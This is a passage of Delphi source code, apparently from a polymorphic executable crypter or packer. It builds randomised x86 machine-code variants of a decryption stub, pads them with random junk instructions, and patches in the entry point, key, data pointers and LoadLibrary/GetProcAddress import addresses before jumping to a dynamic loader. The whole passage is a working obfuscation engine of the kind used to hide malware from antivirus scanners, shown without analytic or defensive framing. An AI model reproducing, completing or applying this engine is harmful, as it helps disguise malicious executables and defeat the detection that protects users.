LInitInstr[23].Vars[3].Code:=#$8D#$74#$24#$10 //lea esi,[esp+010h]<br> +#$8B#$36; //mov esi,[esi]<br><br> //mov eax,[esi]<br> LInitInstr[24].Count:=4;<br> LInitInstr[24].Vars[0].Len:=2;<br> LInitInstr[24].Vars[0].Code:=#$8B#$06; //mov eax,[esi]<br> LInitInstr[24].Vars[1].Len:=3;<br> LInitInstr[24].Vars[1].Code:=#$FF#$36 //push esi<br> +#$58; //pop eax<br> LInitInstr[24].Vars[2].Len:=4;<br> LInitInstr[24].Vars[2].Code:=#$8D#$06 //lea eax,esi<br> +#$8B#$00; //mov eax,[eax]<br> LInitInstr[24].Vars[3].Len:=4;<br> LInitInstr[24].Vars[3].Code:=#$33#$C0 //xor eax,eax<br> +#$03#$06; //add eax,[esi]<br><br> //test eax,0FF000000h<br> LInitInstr[25].Count:=4;<br> LInitInstr[25].Vars[0].Len:=5;<br> LInitInstr[25].Vars[0].Code:=#$A9#$00#$00#$00#$FF; //test eax,0FF000000h<br> LInitInstr[25].Vars[1].Len:=6;<br> LInitInstr[25].Vars[1].Code:=#$F7#$06#$00#$00#$00#$FF; //test [esi],0FF000000h<br> LInitInstr[25].Vars[2].Len:=7;<br> LInitInstr[25].Vars[2].Code:=#$8B#$D0 //mov edx,eax<br> +#$C1#$EA#$18 //shr edx,018h<br> +#$85#$D2; //test edx,edx<br> LInitInstr[25].Vars[3].Len:=11;<br> LInitInstr[25].Vars[3].Code:=#$50 //push eax<br> +#$5A //pop edx<br> +#$81#$E2#$00#$00#$00#$FF //and edx,0FF000000h<br> +#$83#$FA#$00; //cmp edx,000h<br><br> //jz @Coder_pre_code<br> LInitInstr[26].Count:=2;<br> LInitInstr[26].Vars[0].Len:=6;<br> LInitInstr[26].Vars[0].Code:=#$0F#$84#$78#$56#$34#$12; //jz +0XXYYZZWWh<br> LInitInstr[26].Vars[1].Len:=7;<br> LInitInstr[26].Vars[1].Code:=#$75#$05 //jnz +5<br> +#$E9#$78#$56#$34#$12; //jmp 0XXYYZZWWh<br><br> //add eax,[esp+00Ch]<br> LInitInstr[27].Count:=4;<br> LInitInstr[27].Vars[0].Len:=4;<br> LInitInstr[27].Vars[0].Code:=#$03#$44#$24#$08; //add eax,[esp+00Ch]<br> LInitInstr[27].Vars[1].Len:=6;<br> LInitInstr[27].Vars[1].Code:=#$8D#$54#$24#$08 //lea edx,[esp+00Ch]<br> +#$03#$02; //add eax,[edx]<br> LInitInstr[27].Vars[2].Len:=5;<br> LInitInstr[27].Vars[2].Code:=#$8B#$D4 //mov edx,esp<br> +#$03#$42#$08; //add eax,[edx+00Ch]<br> LInitInstr[27].Vars[3].Len:=8;<br> LInitInstr[27].Vars[3].Code:=#$FF#$74#$24#$08 //push [esp+00Ch]<br> +#$03#$04#$24 //add eax,[esp]<br> +#$5A; //pop edx<br><br> //rol eax,010h<br> LInitInstr[28].Count:=4;<br> LInitInstr[28].Vars[0].Len:=3;<br> LInitInstr[28].Vars[0].Code:=#$C1#$C0#$10; //rol eax,010h<br> LInitInstr[28].Vars[1].Len:=3;<br> LInitInstr[28].Vars[1].Code:=#$C1#$C8#$10; //ror eax,010h<br> LInitInstr[28].Vars[2].Len:=11;<br> LInitInstr[28].Vars[2].Code:=#$8B#$D0 //mov edx,eax<br> +#$C1#$EA#$10 //shr edx,010h<br> +#$C1#$E0#$10 //shl eax,010h<br> +#$66#$8B#$C2; //mov ax,dx<br> LInitInstr[28].Vars[3].Len:=12;<br> LInitInstr[28].Vars[3].Code:=#$66#$50 //push ax<br> +#$C1#$E8#$10 //shr eax,010h<br> +#$66#$5A //pop dx<br> +#$C1#$E2#$10 //shl edx,010h<br> +#$0B#$C2; //or eax,edx<br><br> //add eax,[esp+010h]<br> LInitInstr[29].Count:=4;<br> LInitInstr[29].Vars[0].Len:=4;<br> LInitInstr[29].Vars[0].Code:=#$03#$44#$24#$10; //add eax,[esp+010h]<br> LInitInstr[29].Vars[1].Len:=7;<br> LInitInstr[29].Vars[1].Code:=#$8D#$6C#$24#$10 //lea ebp,[esp+010h]<br> +#$03#$45#$00; //add eax,[ebp+010h]<br> LInitInstr[29].Vars[2].Len:=5;<br> LInitInstr[29].Vars[2].Code:=#$8B#$D4 //mov edx,esp<br> +#$03#$42#$10; //add eax,[edx+010h]<br> LInitInstr[29].Vars[3].Len:=8;<br> LInitInstr[29].Vars[3].Code:=#$FF#$74#$24#$10 //push [esp+00Ch]<br> +#$03#$04#$24 //add eax,[esp]<br> +#$5A; //pop edx<br><br> //rol eax,004h<br> LInitInstr[30].Count:=4;<br> LInitInstr[30].Vars[0].Len:=3;<br> LInitInstr[30].Vars[0].Code:=#$C1#$C0#$04; //rol eax,004h<br> LInitInstr[30].Vars[1].Len:=3;<br> LInitInstr[30].Vars[1].Code:=#$C1#$C8#$1C; //ror eax,01Ch<br> LInitInstr[30].Vars[2].Len:=10;<br> LInitInstr[30].Vars[2].Code:=#$8B#$D0 //mov edx,eax<br> +#$C1#$EA#$1C //shr edx,01Ch<br> +#$C1#$E0#$04 //shl eax,004h<br> +#$0B#$C2; //or eax,edx<br> LInitInstr[30].Vars[3].Len:=11;<br> LInitInstr[30].Vars[3].Code:=#$50 //push eax<br> +#$50 //push eax<br> +#$8B#$44#$24#$03 //mov eax,[esp+003h]<br> +#$C1#$C8#$04 //ror eax,004h<br> +#$5A //pop edx<br> +#$5D; //pop ebp<br><br> //add eax,ecx<br> LInitInstr[31].Count:=4;<br> LInitInstr[31].Vars[0].Len:=2;<br> LInitInstr[31].Vars[0].Code:=#$03#$C1; //add eax,ecx<br> LInitInstr[31].Vars[1].Len:=5;<br> LInitInstr[31].Vars[1].Code:=#$51 //push ecx<br> +#$03#$04#$24 //add eax,[esp]<br> +#$5A; //pop edx<br> LInitInstr[31].Vars[2].Len:=4;<br> LInitInstr[31].Vars[2].Code:=#$8B#$E9 //mov ebp,ecx<br> +#$03#$C5; //add eax,ebp<br> LInitInstr[31].Vars[3].Len:=5;<br> LInitInstr[31].Vars[3].Code:=#$50 //push eax<br> +#$01#$0C#$24 //add [esp],ecx<br> +#$58; //pop eax<br><br> //xor eax,[edi]<br> LInitInstr[32].Count:=4;<br> LInitInstr[32].Vars[0].Len:=2;<br> LInitInstr[32].Vars[0].Code:=#$33#$07; //xor eax,[edi]<br> LInitInstr[32].Vars[1].Len:=6;<br> LInitInstr[32].Vars[1].Code:=#$FF#$37 //push [edi]<br> +#$33#$04#$24 //xor eax,[esp]<br> +#$5D; //pop ebp<br> LInitInstr[32].Vars[2].Len:=4;<br> LInitInstr[32].Vars[2].Code:=#$8B#$17 //mov edx,[edi]<br> +#$33#$C2; //xor eax,edx<br> LInitInstr[32].Vars[3].Len:=7;<br> LInitInstr[32].Vars[3].Code:=#$8B#$2F //mov ebp,[edi]<br> +#$55 //push ebp<br> +#$31#$04#$24 //xor [esp],eax<br> +#$58; //pop eax<br><br> //stosd<br> LInitInstr[33].Count:=4;<br> LInitInstr[33].Vars[0].Len:=1;<br> LInitInstr[33].Vars[0].Code:=#$AB; //stosd<br> LInitInstr[33].Vars[1].Len:=6;<br> LInitInstr[33].Vars[1].Code:=#$89#$07 //mov [edi],eax<br> +#$47 //inc edi<br> +#$47 //inc edi<br> +#$47 //inc edi<br> +#$47; //inc edi<br> LInitInstr[33].Vars[2].Len:=7;<br> LInitInstr[33].Vars[2].Code:=#$87#$E7 //xchg esp,edi<br> +#$5A //pop edx<br> +#$50 //push eax<br> +#$5A //pop edx<br> +#$87#$FC; //xchg edi,esp<br> LInitInstr[33].Vars[3].Len:=9;<br> LInitInstr[33].Vars[3].Code:=#$50 //push eax<br> +#$8B#$EC //mov ebp,esp<br> +#$87#$F5 //xchg esi,ebp<br> +#$A5 //movsd<br> +#$8B#$F5 //mov esi,ebp<br> +#$5A; //pop edx<br> //inc esi<br> LInitInstr[34].Count:=4;<br> LInitInstr[34].Vars[0].Len:=1;<br> LInitInstr[34].Vars[0].Code:=#$46; //inc esi<br> LInitInstr[34].Vars[1].Len:=3;<br> LInitInstr[34].Vars[1].Code:=#$83#$C6#$01; //add esi,001h<br> LInitInstr[34].Vars[2].Len:=3;<br> LInitInstr[34].Vars[2].Code:=#$83#$EE#$FF; //sub esi,-001h<br> LInitInstr[34].Vars[3].Len:=5;<br> LInitInstr[34].Vars[3].Code:=#$6A#$01 //push 001h<br> +#$5A //pop edx<br> +#$03#$F2; //add esi,edx<br><br> //loop @Coder_code<br> LInitInstr[35].Count:=1;<br> LInitInstr[35].Vars[0].Len:=7;<br> LInitInstr[35].Vars[0].Code:=#$49 //dec ecx<br> +#$0F#$85#$78#$56#$34#$12; //jnz +0WWXXYYZZh<br><br> //pop edi<br> LInitInstr[36].Count:=4;<br> LInitInstr[36].Vars[0].Len:=1;<br> LInitInstr[36].Vars[0].Code:=#$5F; //pop edi<br> LInitInstr[36].Vars[1].Len:=4;<br> LInitInstr[36].Vars[1].Code:=#$8B#$3C#$24 //mov edi,[esp]<br> +#$5D; //pop ebp<br> LInitInstr[36].Vars[2].Len:=3;<br> LInitInstr[36].Vars[2].Code:=#$5D //pop ebp<br> +#$8B#$FD; //mov edi,ebp<br> LInitInstr[36].Vars[3].Len:=3;<br> LInitInstr[36].Vars[3].Code:=#$5A //pop edx<br> +#$87#$FA; //xchg edi,edx<br><br> //ret 00Ch<br> LInitInstr[37].Count:=4;<br> LInitInstr[37].Vars[0].Len:=3;<br> LInitInstr[37].Vars[0].Code:=#$C2#$0C#$00; //ret 00Ch<br> LInitInstr[37].Vars[1].Len:=6;<br> LInitInstr[37].Vars[1].Code:=#$58 //pop eax<br> +#$5A //pop edx<br> +#$5D //pop ebp<br> +#$59 //pop ecx<br> +#$FF#$E0; //jmp eax<br> LInitInstr[37].Vars[2].Len:=7;<br> LInitInstr[37].Vars[2].Code:=#$83#$C4#$10 //add esp,010h<br> +#$FF#$64#$24#$F0; //jmp [esp-010h]<br> LInitInstr[37].Vars[3].Len:=8;<br> LInitInstr[37].Vars[3].Code:=#$6A#$F0 //push -010h<br> +#$59 //pop ecx<br> +#$2B#$E1 //sub esp,ecx<br> +#$FF#$24#$0C; //jmp [esp+ecx]<br><br> //mov eax,0WWXXYYZZh<br> LInitInstr[38].Count:=4;<br> LInitInstr[38].Vars[0].Len:=5;<br> LInitInstr[38].Vars[0].Code:=#$B8#$78#$56#$34#$12; //mov eax,012345678h<br> LInitInstr[38].Vars[1].Len:=6;<br> LInitInstr[38].Vars[1].Code:=#$68#$78#$56#$34#$12 //push [0WWXXYYZZh]<br> +#$58; //pop eax<br> LInitInstr[38].Vars[2].Len:=6;<br> LInitInstr[38].Vars[2].Code:=#$B9#$78#$56#$34#$12 //mov ecx,012345678h<br> +#$91; //xchg ecx,eax<br> LInitInstr[38].Vars[3].Len:=6;<br> LInitInstr[38].Vars[3].Code:=#$8D#$05#$78#$56#$34#$12; //lea eax,[012345678h]<br><br> //mov [ebx+0WWXXYYZZh],eax<br> LInitInstr[39].Count:=4;<br> LInitInstr[39].Vars[0].Len:=6;<br> LInitInstr[39].Vars[0].Code:=#$89#$83#$78#$56#$34#$12; //mov [ebx+0WWXXYYZZh],eax<br> LInitInstr[39].Vars[1].Len:=7;<br> LInitInstr[39].Vars[1].Code:=#$50 //push eax<br> +#$8F#$83#$78#$56#$34#$12; //pop [ebx+0WWXXYYZZh]<br> LInitInstr[39].Vars[2].Len:=10;<br> LInitInstr[39].Vars[2].Code:=#$53 //push ebx<br> +#$81#$C3#$78#$56#$34#$12 //add ebx,0WWXXYYZZh<br> +#$89#$03 //mov [ebx],eax<br> +#$5B; //pop ebx<br> LInitInstr[39].Vars[3].Len:=7;<br> LInitInstr[39].Vars[3].Code:=#$8D#$BB#$78#$56#$34#$12 //lea edi,[ebx+0WWXXYYZZh]<br> +#$AB; //stosd<br><br> //mov eax,0WWXXYYZZh<br> LInitInstr[40].Count:=4;<br> LInitInstr[40].Vars[0].Len:=5;<br> LInitInstr[40].Vars[0].Code:=#$B8#$78#$56#$34#$12; //mov eax,012345678h<br> LInitInstr[40].Vars[1].Len:=6;<br> LInitInstr[40].Vars[1].Code:=#$68#$78#$56#$34#$12 //push [0WWXXYYZZh]<br> +#$58; //pop eax<br> LInitInstr[40].Vars[2].Len:=6;<br> LInitInstr[40].Vars[2].Code:=#$B9#$78#$56#$34#$12 //mov ecx,012345678h<br> +#$91; //xchg ecx,eax<br> LInitInstr[40].Vars[3].Len:=6;<br> LInitInstr[40].Vars[3].Code:=#$8D#$05#$78#$56#$34#$12; //lea eax,[012345678h]<br><br> //mov [ebx+0WWXXYYZZh],eax<br> LInitInstr[41].Count:=4;<br> LInitInstr[41].Vars[0].Len:=6;<br> LInitInstr[41].Vars[0].Code:=#$89#$83#$78#$56#$34#$12; //mov [ebx+0WWXXYYZZh],eax<br> LInitInstr[41].Vars[1].Len:=7;<br> LInitInstr[41].Vars[1].Code:=#$50 //push eax<br> +#$8F#$83#$78#$56#$34#$12; //pop [ebx+0WWXXYYZZh]<br> LInitInstr[41].Vars[2].Len:=10;<br> LInitInstr[41].Vars[2].Code:=#$53 //push ebx<br> +#$81#$C3#$78#$56#$34#$12 //add ebx,0WWXXYYZZh<br> +#$89#$03 //mov [ebx],eax<br> +#$5B; //pop ebx<br> LInitInstr[41].Vars[3].Len:=7;<br> LInitInstr[41].Vars[3].Code:=#$8D#$BB#$78#$56#$34#$12 //lea edi,[ebx+0WWXXYYZZh]<br> +#$AB; //stosd<br><br> //mov eax,0WWXXYYZZh<br> LInitInstr[42].Count:=4;<br> LInitInstr[42].Vars[0].Len:=5;<br> LInitInstr[42].Vars[0].Code:=#$B8#$78#$56#$34#$12; //mov eax,012345678h<br> LInitInstr[42].Vars[1].Len:=6;<br> LInitInstr[42].Vars[1].Code:=#$68#$78#$56#$34#$12 //push [0WWXXYYZZh]<br> +#$58; //pop eax<br> LInitInstr[42].Vars[2].Len:=6;<br> LInitInstr[42].Vars[2].Code:=#$B9#$78#$56#$34#$12 //mov ecx,012345678h<br> +#$91; //xchg ecx,eax<br> LInitInstr[42].Vars[3].Len:=6;<br> LInitInstr[42].Vars[3].Code:=#$8D#$05#$78#$56#$34#$12; //lea eax,[012345678h]<br><br> //mov [ebx+0WWXXYYZZh],eax<br> LInitInstr[43].Count:=4;<br> LInitInstr[43].Vars[0].Len:=6;<br> LInitInstr[43].Vars[0].Code:=#$89#$83#$78#$56#$34#$12; //mov [ebx+0WWXXYYZZh],eax<br> LInitInstr[43].Vars[1].Len:=7;<br> LInitInstr[43].Vars[1].Code:=#$50 //push eax<br> +#$8F#$83#$78#$56#$34#$12; //pop [ebx+0WWXXYYZZh]<br> LInitInstr[43].Vars[2].Len:=10;<br> LInitInstr[43].Vars[2].Code:=#$53 //push ebx<br> +#$81#$C3#$78#$56#$34#$12 //add ebx,0WWXXYYZZh<br> +#$89#$03 //mov [ebx],eax<br> +#$5B; //pop ebx<br> LInitInstr[43].Vars[3].Len:=7;<br> LInitInstr[43].Vars[3].Code:=#$8D#$BB#$78#$56#$34#$12 //lea edi,[ebx+0WWXXYYZZh]<br> +#$AB; //stosd<br><br> //jmp @DynLoader_begin<br> LInitInstr[44].Count:=3;<br> LInitInstr[44].Vars[0].Len:=5;<br> LInitInstr[44].Vars[0].Code:=#$E9#$78#$56#$34#$12; //jmp +0WWXXYYZZh<br> LInitInstr[44].Vars[1].Len:=8;<br> LInitInstr[44].Vars[1].Code:=#$33#$C0 //xor eax,eax<br> +#$0F#$84#$78#$56#$34#$12; //jz +0WWXXYYZZh<br> LInitInstr[44].Vars[2].Len:=7;<br> LInitInstr[44].Vars[2].Code:=#$48 //dec eax<br> +#$0F#$85#$78#$56#$34#$12; //jnz +0WWXXYYZZh<br><br><br> //<br> //now put some rubbish, select instruction and write it there<br> //then put some rubbish, select next instruction and write it there<br> //then put some ...<br> //<br> //but be careful with 26th and 27th instructions which is test and condition jump<br> //don't put the rubbish between them<br> //<br><br><br> ZeroMemory(InitData,InitSize);<br> LRemaining:=InitSize;<br><br> LPB:=InitData;<br> LCodeStart:=NtHeaders.OptionalHeader.ImageBase+NtHeaders.OptionalHeader.AddressOfEntryPoint;<br> LVirtAddr:=LCodeStart;<br><br> for LI:=0 to InitInstrCount-1 do<br> with LInitInstr[LI] do<br> begin<br> LDelta:=InitInstrCount-LI;<br> LDelta2:=LRemaining-LDelta*10;<br> LRubbishSize:=Random(LDelta2 div LDelta);<br> if (LI<>26) and (LRubbishSize>0) then //can't change flags after test<br> begin<br> GenerateRubbishCode(LPB,LRubbishSize,LVirtAddr);<br> Inc(LPB,LRubbishSize);<br> Inc(LVirtAddr,LRubbishSize);<br> Dec(LRemaining,LRubbishSize);<br> end;<br><br> VirtualAddress:=LVirtAddr;<br> Index:=Random(LInitInstr[LI].Count);<br> with Vars[Index] do<br> begin<br> CopyMemory(LPB,@Code,Len);<br> Inc(LPB,Len);<br> Inc(LVirtAddr,Len);<br> Dec(LRemaining,Len);<br> end;<br> end;<br> LRubbishSize:=Random(LRemaining);<br> GenerateRubbishCode(LPB,LRubbishSize,LVirtAddr);<br> Dec(LRemaining,LRubbishSize);<br> Inc(LPB,LRubbishSize);<br> LRubbishSize:=Random(LRemaining);<br> GenerateRandomBuffer(LPB,LRubbishSize);<br><br><br> //<br> //now correct pointers<br> //<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[00].VirtualAddress-LCodeStart);<br> LPtrAddr:=LInitInstr[01].VirtualAddress-(LInitInstr[00].VirtualAddress+5);<br> Inc(LPB);<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[02].VirtualAddress-LCodeStart);<br> LPtrAddr:=LInitInstr[00].VirtualAddress+5-ACodePtr;<br> if LInitInstr[02].Index<>2 then<br> begin<br> case LInitInstr[02].Index of<br> 0:Inc(LPB,2);<br> 1:Inc(LPB);<br> 3:Inc(LPB,4);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br> end else<br> begin<br> Inc(LPB,2);<br> PWord(LPB)^:=HiWord(LPtrAddr);<br> Inc(LPB,4);<br> PWord(LPB)^:=LoWord(LPtrAddr);<br> end;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[05].VirtualAddress-LCodeStart);<br> LPtrAddr:=AKeyPtr;<br> case LInitInstr[05].Index of<br> 0,3:Inc(LPB,2);<br> 1,2:Inc(LPB);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[07].VirtualAddress-LCodeStart);<br> LPtrAddr:=AData1Ptr;<br> case LInitInstr[07].Index of<br> 0,1,2:Inc(LPB);<br> 3:Inc(LPB,2);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[08].VirtualAddress-LCodeStart);<br> LPtrAddr:=ASize1;<br> case LInitInstr[08].Index of<br> 0,1:Inc(LPB);<br> 2:Inc(LPB,5);<br> 3:Inc(LPB,4);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[10].VirtualAddress-LCodeStart);<br> LPtrAddr:=LInitInstr[19].VirtualAddress-(LInitInstr[10].VirtualAddress+5);<br> Inc(LPB);<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[12].VirtualAddress-LCodeStart);<br> LPtrAddr:=AData2Ptr;<br> case LInitInstr[12].Index of<br> 0,1,2:Inc(LPB);<br> 3:Inc(LPB,4);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[14].VirtualAddress-LCodeStart);<br> LPtrAddr:=ASize2;<br> case LInitInstr[14].Index of<br> 0,1:Inc(LPB);<br> 2,4:Inc(LPB,5);<br> 3:Inc(LPB,4);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[16].VirtualAddress-LCodeStart);<br> LPtrAddr:=LInitInstr[19].VirtualAddress-(LInitInstr[16].VirtualAddress+5);<br> Inc(LPB);<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[17].VirtualAddress-LCodeStart);<br> LPtrAddr:=LInitInstr[38].VirtualAddress-(LInitInstr[17].VirtualAddress+5);<br> Inc(LPB);<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[26].VirtualAddress-LCodeStart);<br> LPtrAddr:=LInitInstr[23].VirtualAddress-(LInitInstr[26].VirtualAddress+6);<br> case LInitInstr[26].Index of<br> 0:Inc(LPB,2);<br> 1:begin Inc(LPB,3); Dec(LPtrAddr); end;<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[35].VirtualAddress-LCodeStart);<br> LPtrAddr:=LInitInstr[24].VirtualAddress-(LInitInstr[35].VirtualAddress+6);<br> Inc(LPB,3);<br> Dec(LPtrAddr);<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[38].VirtualAddress-LCodeStart);<br> LPtrAddr:=ALoadLibImpAddr;<br> case LInitInstr[38].Index of<br> 0,1,2:Inc(LPB);<br> 3:Inc(LPB,2);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[39].VirtualAddress-LCodeStart);<br> LPtrAddr:=AData1Ptr+1;<br> case LInitInstr[39].Index of<br> 0,3:Inc(LPB,2);<br> 1,2:Inc(LPB,3);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[40].VirtualAddress-LCodeStart);<br> LPtrAddr:=AGetProcAddrImpAddr;<br> case LInitInstr[40].Index of<br> 0,1,2:Inc(LPB);<br> 3:Inc(LPB,2);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[41].VirtualAddress-LCodeStart);<br> LPtrAddr:=AData1Ptr+6;<br> case LInitInstr[41].Index of<br> 0,3:Inc(LPB,2);<br> 1,2:Inc(LPB,3);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[42].VirtualAddress-LCodeStart);<br> LPtrAddr:=AMainPtr;<br> case LInitInstr[42].Index of<br> 0,1,2:Inc(LPB);<br> 3:Inc(LPB,2);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[43].VirtualAddress-LCodeStart);<br> LPtrAddr:=AData1Ptr+11;<br> case LInitInstr[43].Index of<br> 0,3:Inc(LPB,2);<br> 1,2:Inc(LPB,3);<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br> LPB:=Pointer(Cardinal(InitData)+LInitInstr[44].VirtualAddress-LCodeStart);<br> LPtrAddr:=ADynLoadAddr-(LInitInstr[44].VirtualAddress+5);<br> case LInitInstr[44].Index of<br> 0:Inc(LPB);<br> 1:begin Inc(LPB,4); Dec(LPtrAddr,3); end;<br> 2:begin Inc(LPB,3); Dec(LPtrAddr,2); end;<br> end;<br> PCardinal(LPB)^:=LPtrAddr;<br><br>end;<br>